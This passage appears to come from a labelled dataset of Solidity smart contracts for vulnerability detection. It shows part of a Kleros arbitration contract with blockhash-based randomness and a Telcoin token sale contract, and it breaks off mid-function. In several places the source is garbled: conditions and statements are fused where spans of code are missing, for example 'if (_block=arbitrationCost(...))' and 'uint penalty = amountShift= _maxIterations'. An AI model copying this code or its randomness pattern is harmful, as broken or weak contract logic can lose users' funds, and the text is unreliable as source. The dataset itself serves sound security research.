_amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender ) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function approveAndCall(address _spender, uint256 _amount, bytes _extraData ) public returns (bool success) { require(approve(_spender, _amount)); ApproveAndCallFallBack(_spender).receiveApproval( msg.sender, _amount, this, _extraData ); return true; } function totalSupply() public constant returns (uint) { return totalSupplyAt(block.number); } function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) { if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(balances[_owner], _blockNumber); } } function totalSupplyAt(uint _blockNumber) public constant returns(uint) { if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(totalSupplyHistory, _blockNumber); } } function createCloneToken( string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled ) public returns(address) { if (_snapshotBlock == 0) _snapshotBlock = block.number; Pinakion cloneToken = tokenFactory.createCloneToken( this, _snapshotBlock, _cloneTokenName, _cloneDecimalUnits, _cloneTokenSymbol, _transfersEnabled ); cloneToken.changeController(msg.sender); NewCloneToken(address(cloneToken), _snapshotBlock); return address(cloneToken); } function generateTokens(address _owner, uint _amount ) public onlyController returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply + _amount >= curTotalSupply); uint previousBalanceTo = balanceOf(_owner); require(previousBalanceTo + _amount >= previousBalanceTo); updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); updateValueAtNow(balances[_owner], previousBalanceTo + _amount); Transfer(0, _owner, _amount); return true; } function destroyTokens(address _owner, uint _amount ) onlyController public returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply >= _amount); uint previousBalanceFrom = balanceOf(_owner); require(previousBalanceFrom >= _amount); updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); Transfer(_owner, 0, _amount); return true; } function enableTransfers(bool _transfersEnabled) public onlyController { transfersEnabled = _transfersEnabled; } function getValueAt(Checkpoint[] storage checkpoints, uint _block ) constant internal returns (uint) { if (checkpoints.length == 0) return 0; if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1)/ 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value ) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } function min(uint a, uint b) pure internal returns (uint) { return a < b ? a : b; } function () public payable { require(isContract(controller)); require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender)); } function claimTokens(address _token) public onlyController { if (_token == 0x0) { controller.transfer(this.balance); return; } Pinakion token = Pinakion(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); ClaimedTokens(_token, controller, balance); } event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); } contract MiniMeTokenFactory { function createCloneToken( address _parentToken, uint _snapshotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public returns (Pinakion) { Pinakion newToken = new Pinakion( this, _parentToken, _snapshotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled ); newToken.changeController(msg.sender); return newToken; } } contract RNG{ function contribute(uint _block) public payable; function requestRN(uint _block) public payable { contribute(_block); } function getRN(uint _block) public returns (uint RN); function getUncorrelatedRN(uint _block) public returns (uint RN) { uint baseRN=getRN(_block); if (baseRN==0) return 0; else return uint(keccak256(msg.sender,baseRN)); } } contract BlockHashRNG is RNG { mapping (uint => uint) public randomNumber; mapping (uint => uint) public reward; function contribute(uint _block) public payable { reward[_block]+=msg.value; } function getRN(uint _block) public returns (uint RN) { RN=randomNumber[_block]; if (RN==0){ saveRN(_block); return randomNumber[_block]; } else return RN; } function saveRN(uint _block) public { if (blockhash(_block) != 0x0) randomNumber[_block] = uint(blockhash(_block)); if (randomNumber[_block] != 0) { uint rewardToSend = reward[_block]; reward[_block] = 0; msg.sender.send(rewardToSend); } } } contract BlockHashRNGFallback is BlockHashRNG { function saveRN(uint _block) public { if (_block=arbitrationCost(_extraData)); _;} modifier requireAppealFee(uint _disputeID, bytes _extraData) {require(msg.value>=appealCost(_disputeID, _extraData)); _;} event AppealPossible(uint _disputeID); event DisputeCreation(uint indexed _disputeID, Arbitrable _arbitrable); event AppealDecision(uint indexed _disputeID, Arbitrable _arbitrable); function createDispute(uint _choices, bytes _extraData) public requireArbitrationFee(_extraData) payable returns(uint disputeID) {} function arbitrationCost(bytes _extraData) public constant returns(uint fee); function appeal(uint _disputeID, bytes _extraData) public requireAppealFee(_disputeID,_extraData) payable { emit AppealDecision(_disputeID, Arbitrable(msg.sender)); } function appealCost(uint _disputeID, bytes _extraData) public constant returns(uint fee); function disputeStatus(uint _disputeID) public constant returns(DisputeStatus status); function currentRuling(uint _disputeID) public constant returns(uint ruling); } contract Kleros is Arbitrator, ApproveAndCallFallBack { Pinakion public pinakion; uint public constant NON_PAYABLE_AMOUNT = (2**256 - 2) / 2; RNG public rng; uint public arbitrationFeePerJuror = 0.05 ether; uint16 public defaultNumberJuror = 3; uint public minActivatedToken = 0.1 * 1e18; uint[5] public timePerPeriod; uint public alpha = 2000; uint constant ALPHA_DIVISOR = 1e4; uint public maxAppeals = 5; address public governor; uint public session = 1; uint public lastPeriodChange; uint public segmentSize; uint public rnBlock; uint public randomNumber; enum Period { Activation, Draw, Vote, Appeal, Execution } Period public period; struct Juror { uint balance; uint atStake; uint lastSession; uint segmentStart; uint segmentEnd; } mapping (address => Juror) public jurors; struct Vote { address account; uint ruling; } struct VoteCounter { uint winningChoice; uint winningCount; mapping (uint => uint) voteCount; } enum DisputeState { Open, Resolving, Executable, Executed } struct Dispute { Arbitrable arbitrated; uint session; uint appeals; uint choices; uint16 initialNumberJurors; uint arbitrationFeePerJuror; DisputeState state; Vote[][] votes; VoteCounter[] voteCounter; mapping (address => uint) lastSessionVote; uint currentAppealToRepartition; AppealsRepartitioned[] appealsRepartitioned; } enum RepartitionStage { Incoherent, Coherent, AtStake, Complete } struct AppealsRepartitioned { uint totalToRedistribute; uint nbCoherent; uint currentIncoherentVote; uint currentCoherentVote; uint currentAtStakeVote; RepartitionStage stage; } Dispute[] public disputes; event NewPeriod(Period _period, uint indexed _session); event TokenShift(address indexed _account, uint _disputeID, int _amount); event ArbitrationReward(address indexed _account, uint _disputeID, uint _amount); modifier onlyBy(address _account) {require(msg.sender == _account); _;} modifier onlyDuring(Period _period) {require(period == _period); _;} modifier onlyGovernor() {require(msg.sender == governor); _;} constructor(Pinakion _pinakion, RNG _rng, uint[5] _timePerPeriod, address _governor) public { pinakion = _pinakion; rng = _rng; lastPeriodChange = now; timePerPeriod = _timePerPeriod; governor = _governor; } function receiveApproval(address _from, uint _amount, address, bytes) public onlyBy(pinakion) { require(pinakion.transferFrom(_from, this, _amount)); jurors[_from].balance += _amount; } function withdraw(uint _value) public { Juror storage juror = jurors[msg.sender]; require(juror.atStake <= juror.balance); require(_value <= juror.balance-juror.atStake); require(juror.lastSession != session); juror.balance -= _value; require(pinakion.transfer(msg.sender,_value)); } function passPeriod() public { require(now-lastPeriodChange >= timePerPeriod[uint8(period)]); if (period == Period.Activation) { rnBlock = block.number + 1; rng.requestRN(rnBlock); period = Period.Draw; } else if (period == Period.Draw) { randomNumber = rng.getUncorrelatedRN(rnBlock); require(randomNumber != 0); period = Period.Vote; } else if (period == Period.Vote) { period = Period.Appeal; } else if (period == Period.Appeal) { period = Period.Execution; } else if (period == Period.Execution) { period = Period.Activation; ++session; segmentSize = 0; rnBlock = 0; randomNumber = 0; } lastPeriodChange = now; NewPeriod(period, session); } function activateTokens(uint _value) public onlyDuring(Period.Activation) { Juror storage juror = jurors[msg.sender]; require(_value <= juror.balance); require(_value >= minActivatedToken); require(juror.lastSession != session); juror.lastSession = session; juror.segmentStart = segmentSize; segmentSize += _value; juror.segmentEnd = segmentSize; } function voteRuling(uint _disputeID, uint _ruling, uint[] _draws) public onlyDuring(Period.Vote) { Dispute storage dispute = disputes[_disputeID]; Juror storage juror = jurors[msg.sender]; VoteCounter storage voteCounter = dispute.voteCounter[dispute.appeals]; require(dispute.lastSessionVote[msg.sender] != session); require(_ruling <= dispute.choices); require(validDraws(msg.sender, _disputeID, _draws)); dispute.lastSessionVote[msg.sender] = session; voteCounter.voteCount[_ruling] += _draws.length; if (voteCounter.winningCount < voteCounter.voteCount[_ruling]) { voteCounter.winningCount = voteCounter.voteCount[_ruling]; voteCounter.winningChoice = _ruling; } else if (voteCounter.winningCount==voteCounter.voteCount[_ruling] && _draws.length!=0) { voteCounter.winningChoice = 0; } for (uint i = 0; i < _draws.length; ++i) { dispute.votes[dispute.appeals].push(Vote({ account: msg.sender, ruling: _ruling })); } juror.atStake += _draws.length * getStakePerDraw(); uint feeToPay = _draws.length * dispute.arbitrationFeePerJuror; msg.sender.transfer(feeToPay); ArbitrationReward(msg.sender, _disputeID, feeToPay); } function penalizeInactiveJuror(address _jurorAddress, uint _disputeID, uint[] _draws) public { Dispute storage dispute = disputes[_disputeID]; Juror storage inactiveJuror = jurors[_jurorAddress]; require(period > Period.Vote); require(dispute.lastSessionVote[_jurorAddress] != session); dispute.lastSessionVote[_jurorAddress] = session; require(validDraws(_jurorAddress, _disputeID, _draws)); uint penality = _draws.length * minActivatedToken * 2 * alpha / ALPHA_DIVISOR; penality = (penality < inactiveJuror.balance) ? penality : inactiveJuror.balance; inactiveJuror.balance -= penality; TokenShift(_jurorAddress, _disputeID, -int(penality)); jurors[msg.sender].balance += penality / 2; TokenShift(msg.sender, _disputeID, int(penality / 2)); jurors[governor].balance += penality / 2; TokenShift(governor, _disputeID, int(penality / 2)); msg.sender.transfer(_draws.length*dispute.arbitrationFeePerJuror); } function oneShotTokenRepartition(uint _disputeID) public onlyDuring(Period.Execution) { Dispute storage dispute = disputes[_disputeID]; require(dispute.state == DisputeState.Open); require(dispute.session+dispute.appeals <= session); uint winningChoice = dispute.voteCounter[dispute.appeals].winningChoice; uint amountShift = getStakePerDraw(); for (uint i = 0; i <= dispute.appeals; ++i) { if (winningChoice!=0 || (dispute.voteCounter[dispute.appeals].voteCount[0] == dispute.voteCounter[dispute.appeals].winningCount)) { uint totalToRedistribute = 0; uint nbCoherent = 0; for (uint j = 0; j < dispute.votes[i].length; ++j) { Vote storage vote = dispute.votes[i][j]; if (vote.ruling != winningChoice) { Juror storage juror = jurors[vote.account]; uint penalty = amountShift= _maxIterations) { return; } Vote storage vote = dispute.votes[i][j]; if (vote.ruling != winningChoice) { Juror storage juror = jurors[vote.account]; uint penalty = amountShift= _maxIterations) { return; } vote = dispute.votes[i][j]; if (vote.ruling == winningChoice) { juror = jurors[vote.account]; juror.balance += toRedistribute; TokenShift(vote.account, _disputeID, int(toRedistribute)); } ++currentIterations; ++dispute.appealsRepartitioned[i].currentCoherentVote; } dispute.appealsRepartitioned[i].stage = RepartitionStage.AtStake; } } if (dispute.appealsRepartitioned[i].stage == RepartitionStage.AtStake) { for (j = dispute.appealsRepartitioned[i].currentAtStakeVote; j < dispute.votes[i].length; ++j) { if (currentIterations >= _maxIterations) { return; } vote = dispute.votes[i][j]; juror = jurors[vote.account]; juror.atStake -= amountShift; ++currentIterations; ++dispute.appealsRepartitioned[i].currentAtStakeVote; } dispute.appealsRepartitioned[i].stage = RepartitionStage.Complete; } if (dispute.appealsRepartitioned[i].stage == RepartitionStage.Complete) { ++dispute.currentAppealToRepartition; } } dispute.state = DisputeState.Executable; } function amountJurors(uint _disputeID) public view returns (uint nbJurors) { Dispute storage dispute = disputes[_disputeID]; return (dispute.initialNumberJurors + 1) * 2**dispute.appeals - 1; } function validDraws(address _jurorAddress, uint _disputeID, uint[] _draws) public view returns (bool valid) { uint draw = 0; Juror storage juror = jurors[_jurorAddress]; Dispute storage dispute = disputes[_disputeID]; uint nbJurors = amountJurors(_disputeID); if (juror.lastSession != session) return false; if (dispute.session+dispute.appeals != session) return false; if (period <= Period.Draw) return false; for (uint i = 0; i < _draws.length; ++i) { if (_draws[i] <= draw) return false; draw = _draws[i]; if (draw > nbJurors) return false; uint position = uint(keccak256(randomNumber, _disputeID, draw)) % segmentSize; require(position >= juror.segmentStart); require(position < juror.segmentEnd); } return true; } function createDispute(uint _choices, bytes _extraData) public payable returns (uint disputeID) { uint16 nbJurors = extraDataToNbJurors(_extraData); require(msg.value >= arbitrationCost(_extraData)); disputeID = disputes.length++; Dispute storage dispute = disputes[disputeID]; dispute.arbitrated = Arbitrable(msg.sender); if (period < Period.Draw) dispute.session = session; else dispute.session = session+1; dispute.choices = _choices; dispute.initialNumberJurors = nbJurors; dispute.arbitrationFeePerJuror = arbitrationFeePerJuror; dispute.votes.length++; dispute.voteCounter.length++; DisputeCreation(disputeID, Arbitrable(msg.sender)); return disputeID; } function appeal(uint _disputeID, bytes _extraData) public payable onlyDuring(Period.Appeal) { super.appeal(_disputeID,_extraData); Dispute storage dispute = disputes[_disputeID]; require(msg.value >= appealCost(_disputeID, _extraData)); require(dispute.session+dispute.appeals == session); require(dispute.arbitrated == msg.sender); dispute.appeals++; dispute.votes.length++; dispute.voteCounter.length++; } function executeRuling(uint disputeID) public { Dispute storage dispute = disputes[disputeID]; require(dispute.state == DisputeState.Executable); dispute.state = DisputeState.Executed; dispute.arbitrated.rule(disputeID, dispute.voteCounter[dispute.appeals].winningChoice); } function arbitrationCost(bytes _extraData) public view returns (uint fee) { return extraDataToNbJurors(_extraData) * arbitrationFeePerJuror; } function appealCost(uint _disputeID, bytes _extraData) public view returns (uint fee) { Dispute storage dispute = disputes[_disputeID]; if(dispute.appeals >= maxAppeals) return NON_PAYABLE_AMOUNT; return (2*amountJurors(_disputeID) + 1) * dispute.arbitrationFeePerJuror; } function extraDataToNbJurors(bytes _extraData) internal view returns (uint16 nbJurors) { if (_extraData.length < 2) return defaultNumberJuror; else return (uint16(_extraData[0]) << 8) + uint16(_extraData[1]); } function getStakePerDraw() public view returns (uint minActivatedTokenInAlpha) { return (alpha * minActivatedToken) / ALPHA_DIVISOR; } function getVoteAccount(uint _disputeID, uint _appeals, uint _voteID) public view returns (address account) { return disputes[_disputeID].votes[_appeals][_voteID].account; } function getVoteRuling(uint _disputeID, uint _appeals, uint _voteID) public view returns (uint ruling) { return disputes[_disputeID].votes[_appeals][_voteID].ruling; } function getWinningChoice(uint _disputeID, uint _appeals) public view returns (uint winningChoice) { return disputes[_disputeID].voteCounter[_appeals].winningChoice; } function getWinningCount(uint _disputeID, uint _appeals) public view returns (uint winningCount) { return disputes[_disputeID].voteCounter[_appeals].winningCount; } function getVoteCount(uint _disputeID, uint _appeals, uint _choice) public view returns (uint voteCount) { return disputes[_disputeID].voteCounter[_appeals].voteCount[_choice]; } function getLastSessionVote(uint _disputeID, address _juror) public view returns (uint lastSessionVote) { return disputes[_disputeID].lastSessionVote[_juror]; } function isDrawn(uint _disputeID, address _juror, uint _draw) public view returns (bool drawn) { Dispute storage dispute = disputes[_disputeID]; Juror storage juror = jurors[_juror]; if (juror.lastSession != session || (dispute.session+dispute.appeals != session) || period<=Period.Draw || _draw>amountJurors(_disputeID) || _draw==0 || segmentSize==0 ) { return false; } else { uint position = uint(keccak256(randomNumber,_disputeID,_draw)) % segmentSize; return (position >= juror.segmentStart) && (position < juror.segmentEnd); } } function currentRuling(uint _disputeID) public view returns (uint ruling) { Dispute storage dispute = disputes[_disputeID]; return dispute.voteCounter[dispute.appeals].winningChoice; } function disputeStatus(uint _disputeID) public view returns (DisputeStatus status) { Dispute storage dispute = disputes[_disputeID]; if (dispute.session+dispute.appeals < session) return DisputeStatus.Solved; else if(dispute.session+dispute.appeals == session) { if (dispute.state == DisputeState.Open) { if (period < Period.Appeal) return DisputeStatus.Waiting; else if (period == Period.Appeal) return DisputeStatus.Appealable; else return DisputeStatus.Solved; } else return DisputeStatus.Solved; } else return DisputeStatus.Waiting; } function executeOrder(bytes32 _data, uint _value, address _target) public onlyGovernor { _target.call.value(_value)(_data); } function setRng(RNG _rng) public onlyGovernor { rng = _rng; } function setArbitrationFeePerJuror(uint _arbitrationFeePerJuror) public onlyGovernor { arbitrationFeePerJuror = _arbitrationFeePerJuror; } function setDefaultNumberJuror(uint16 _defaultNumberJuror) public onlyGovernor { defaultNumberJuror = _defaultNumberJuror; } function setMinActivatedToken(uint _minActivatedToken) public onlyGovernor { minActivatedToken = _minActivatedToken; } function setTimePerPeriod(uint[5] _timePerPeriod) public onlyGovernor { timePerPeriod = _timePerPeriod; } function setAlpha(uint _alpha) public onlyGovernor { alpha = _alpha; } function setMaxAppeals(uint _maxAppeals) public onlyGovernor { maxAppeals = _maxAppeals; } function setGovernor(address _governor) public onlyGovernor { governor = _governor; } }",./Dataset/block number dependency (BN),0,0 31565.sol,"pragma solidity 0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Telcoin { using SafeMath for uint256; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); string public constant name = ""Telcoin""; string public constant symbol = ""TEL""; uint8 public constant decimals = 2; /// The ERC20 total fixed supply of tokens. uint256 public constant totalSupply = 100000000000 * (10 ** uint256(decimals)); /// Account balances. mapping(address => uint256) balances; /// The transfer allowances. mapping (address => mapping (address => uint256)) internal allowed; /// The initial distributor is responsible for allocating the supply /// into the various pools described in the whitepaper. This can be /// verified later from the event log. function Telcoin(address _distributor) public { balances[_distributor] = totalSupply; Transfer(0x0, _distributor, totalSupply); } /// ERC20 balanceOf(). function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /// ERC20 transfer(). function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /// ERC20 transferFrom(). function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /// ERC20 approve(). Comes with the standard caveat that an approval /// meant to limit spending may actually allow more to be spent due to /// unfortunate ordering of transactions. For safety, this method /// should only be called if the current allowance is 0. Alternatively, /// non-ERC20 increaseApproval() and decreaseApproval() can be used. function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /// ERC20 allowance(). function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /// Not officially ERC20. Allows an allowance to be increased safely. function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /// Not officially ERC20. Allows an allowance to be decreased safely. function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract TelcoinSaleToken { using SafeMath for uint256; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event Mint(address indexed to, uint256 amount); event MintFinished(); event Redeem(address indexed beneficiary, uint256 sacrificedValue, uint256 grantedValue); event Transfer(address indexed from, address indexed to, uint256 value); /// The owner of the contract. address public owner; /// The total number of minted tokens, excluding destroyed tokens. uint256 public totalSupply; /// The token balance and released amount of each address. mapping(address => uint256) balances; mapping(address => uint256) redeemed; /// Whether the token is still mintable. bool public mintingFinished = false; /// Redeemable telcoin. Telcoin telcoin; uint256 public totalRedeemed; /// Vesting period. uint256 vestingStart; uint256 vestingDuration; modifier onlyOwner() { require(msg.sender == owner); _; } function TelcoinSaleToken( Telcoin _telcoin, uint256 _vestingStart, uint256 _vestingDuration ) public { owner = msg.sender; telcoin = _telcoin; vestingStart = _vestingStart; vestingDuration = _vestingDuration; } function finishMinting() onlyOwner public returns (bool) { require(!mintingFinished); mintingFinished = true; MintFinished(); return true; } function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { require(_to != 0x0); require(!mintingFinished); require(_amount > 0); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } function redeemMany(address[] _beneficiaries) public { for (uint256 i = 0; i < _beneficiaries.length; i++) { redeem(_beneficiaries[i]); } } function redeem(address _beneficiary) public returns (uint256) { require(mintingFinished); require(_beneficiary != 0x0); uint256 balance = redeemableBalance(_beneficiary); if (balance == 0) { return 0; } uint256 totalDistributable = telcoin.balanceOf(this).add(totalRedeemed); // Avoid loss of precision by multiplying and later dividing by // a large value. uint256 amount = balance.mul(10 ** 18).div(totalSupply).mul(totalDistributable).div(10 ** 18); balances[_beneficiary] = balances[_beneficiary].sub(balance); redeemed[_beneficiary] = redeemed[_beneficiary].add(balance); balances[telcoin] = balances[telcoin].add(balance); totalRedeemed = totalRedeemed.add(amount); Transfer(_beneficiary, telcoin, balance); Redeem(_beneficiary, balance, amount); telcoin.transfer(_beneficiary, amount); return amount; } function transferOwnership(address _to) onlyOwner public { require(_to != address(0)); OwnershipTransferred(owner, _to); owner = _to; } function balanceOf(address _owner) public constant returns (uint256) { return balances[_owner]; } function redeemableBalance(address _beneficiary) public constant returns (uint256) { return vestedBalance(_beneficiary).sub(redeemed[_beneficiary]); } function vestedBalance(address _beneficiary) public constant returns (uint256) { uint256 currentBalance = balances[_beneficiary]; uint256 totalBalance = currentBalance.add(redeemed[_beneficiary]); if (now < vestingStart) { return 0; } if (now >= vestingStart.add(vestingDuration)) { return totalBalance; } return totalBalance.mul(now.sub(vestingStart)).div(vestingDuration); } } contract TelcoinSale { using SafeMath for uint256; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event WalletChanged(address indexed previousWallet, address indexed newWallet); event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount, uint256 bonusAmount ); event TokenAltPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount, uint256 bonusAmount, string symbol, string transactionId ); event Pause(); event Unpause(); event Withdrawal(address indexed wallet, uint256 weiAmount); event Extended(uint256 until); event Finalized(); event Refunding(); event Refunded(address indexed beneficiary, uint256 weiAmount); event Whitelisted( address indexed participant, uint256 minWeiAmount, uint256 maxWeiAmount, uint32 bonusRate ); event CapFlexed(uint32 flex); /// The owner of the contract. address public owner; /// The temporary token we're selling. Sale tokens can be converted /// immediately upon successful completion of the sale. Bonus tokens /// are on a separate vesting schedule. TelcoinSaleToken public saleToken; TelcoinSaleToken public bonusToken; /// The token we'll convert to after the sale ends. Telcoin public telcoin; /// The minimum and maximum goals to reach. If the soft cap is not reached /// by the end of the sale, the contract will enter refund mode. If the /// hard cap is reached, the contract can be finished early. /// /// Due to our actual soft cap being tied to USD and the assumption that /// the value of Ether will continue to increase during the ICO, we /// implement a fixed minimum softcap that accounts for a 2.5x value /// increase. The capFlex is a scale factor that allows us to scale the /// caps above the fixed minimum values. Initially the scale factor will /// be set so that our effective soft cap is ~10M USD. uint256 public softCap; uint256 public hardCap; uint32 public capFlex; /// The sale period. uint256 public startTime; uint256 public endTime; uint256 public timeExtension; /// The numnber of tokens to mint per wei. uint256 public rate; /// The total number of wei raised. Note that the contract's balance may /// differ from this value if someone has decided to forcefully send us /// ether. uint256 public weiRaised; /// The wallet that will receive the contract's balance once the sale /// finishes and the soft cap is reached. address public wallet; /// The list of addresses that are allowed to participate in the sale, /// up to what amount, and any special rate they may have, provided /// that they do in fact participate with at least the minimum value /// they agreed to. mapping(address => uint256) public whitelistedMin; mapping(address => uint256) public whitelistedMax; mapping(address => uint32) public bonusRates; /// The amount of wei and wei equivalents invested by each investor. mapping(address => uint256) public deposited; mapping(address => uint256) public altDeposited; /// An enumerable list of investors. address[] public investors; /// Whether the sale is paused. bool public paused = false; /// Whether the sale has finished, and when. bool public finished = false; uint256 public finishedAt; /// Whether we're accepting refunds. bool public refunding = false; /// The total number of wei refunded. uint256 public weiRefunded; modifier onlyOwner() { require(msg.sender == owner); _; } modifier saleOpen() { require(!finished); require(!paused); require(now >= startTime); require(now <= endTime + timeExtension); _; } function TelcoinSale( uint256 _softCap, uint256 _hardCap, uint32 _capFlex, uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet, Telcoin _telcoin, uint256 _bonusVestingStart, uint256 _bonusVestingDuration ) public payable { require(msg.value > 0); require(_softCap > 0); require(_hardCap >= _softCap); require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != 0x0); owner = msg.sender; softCap = _softCap; hardCap = _hardCap; capFlex = _capFlex; startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; telcoin = _telcoin; saleToken = new TelcoinSaleToken(telcoin, 0, 0); bonusToken = new TelcoinSaleToken( telcoin, _bonusVestingStart, _bonusVestingDuration ); wallet.transfer(msg.value); } function () public payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) saleOpen public payable { require(_beneficiary != address(0)); uint256 weiAmount = msg.value; require(weiAmount > 0); require(weiRaised.add(weiAmount) <= hardCap); uint256 totalPrior = totalDeposited(_beneficiary); uint256 totalAfter = totalPrior.add(weiAmount); require(totalAfter <= whitelistedMax[_beneficiary]); uint256 saleTokens; uint256 bonusTokens; (saleTokens, bonusTokens) = tokensForPurchase(_beneficiary, weiAmount); uint256 newDeposited = deposited[_beneficiary].add(weiAmount); deposited[_beneficiary] = newDeposited; investors.push(_beneficiary); weiRaised = weiRaised.add(weiAmount); saleToken.mint(_beneficiary, saleTokens); if (bonusTokens > 0) { bonusToken.mint(_beneficiary, bonusTokens); } TokenPurchase( msg.sender, _beneficiary, weiAmount, saleTokens, bonusTokens ); } function changeWallet(address _wallet) onlyOwner public payable { require(_wallet != 0x0); require(msg.value > 0); WalletChanged(wallet, _wallet); wallet = _wallet; wallet.transfer(msg.value); } function extendTime(uint256 _timeExtension) onlyOwner public { require(!finished); require(now < endTime + timeExtension); require(_timeExtension > 0); timeExtension = timeExtension.add(_timeExtension); require(timeExtension <= 7 days); Extended(endTime.add(timeExtension)); } function finish() onlyOwner public { require(!finished); require(hardCapReached() || now > endTime + timeExtension); finished = true; finishedAt = now; saleToken.finishMinting(); bonusToken.finishMinting(); uint256 distributableCoins = telcoin.balanceOf(this); if (softCapReached()) { uint256 saleTokens = saleToken.totalSupply(); uint256 bonusTokens = bonusToken.totalSupply(); uint256 totalTokens = saleTokens.add(bonusTokens); // Avoid loss of precision by multiplying and later dividing by // a large value. uint256 bonusPortion = bonusTokens.mul(10 ** 18).div(totalTokens).mul(distributableCoins).div(10 ** 18); uint256 salePortion = distributableCoins.sub(bonusPortion); saleToken.transferOwnership(owner); bonusToken.transferOwnership(owner); telcoin.transfer(saleToken, salePortion); telcoin.transfer(bonusToken, bonusPortion); withdraw(); } else { refunding = true; telcoin.transfer(wallet, distributableCoins); Refunding(); } Finalized(); } function pause() onlyOwner public { require(!paused); paused = true; Pause(); } function refundMany(address[] _investors) public { for (uint256 i = 0; i < _investors.length; i++) { refund(_investors[i]); } } function refund(address _investor) public { require(finished); require(refunding); require(deposited[_investor] > 0); uint256 weiAmount = deposited[_investor]; deposited[_investor] = 0; weiRefunded = weiRefunded.add(weiAmount); Refunded(_investor, weiAmount); _investor.transfer(weiAmount); } function registerAltPurchase( address _beneficiary, string _symbol, string _transactionId, uint256 _weiAmount ) saleOpen onlyOwner public { require(_beneficiary != address(0)); require(totalDeposited(_beneficiary).add(_weiAmount) <= whitelistedMax[_beneficiary]); uint256 saleTokens; uint256 bonusTokens; (saleTokens, bonusTokens) = tokensForPurchase(_beneficiary, _weiAmount); uint256 newAltDeposited = altDeposited[_beneficiary].add(_weiAmount); altDeposited[_beneficiary] = newAltDeposited; investors.push(_beneficiary); weiRaised = weiRaised.add(_weiAmount); saleToken.mint(_beneficiary, saleTokens); if (bonusTokens > 0) { 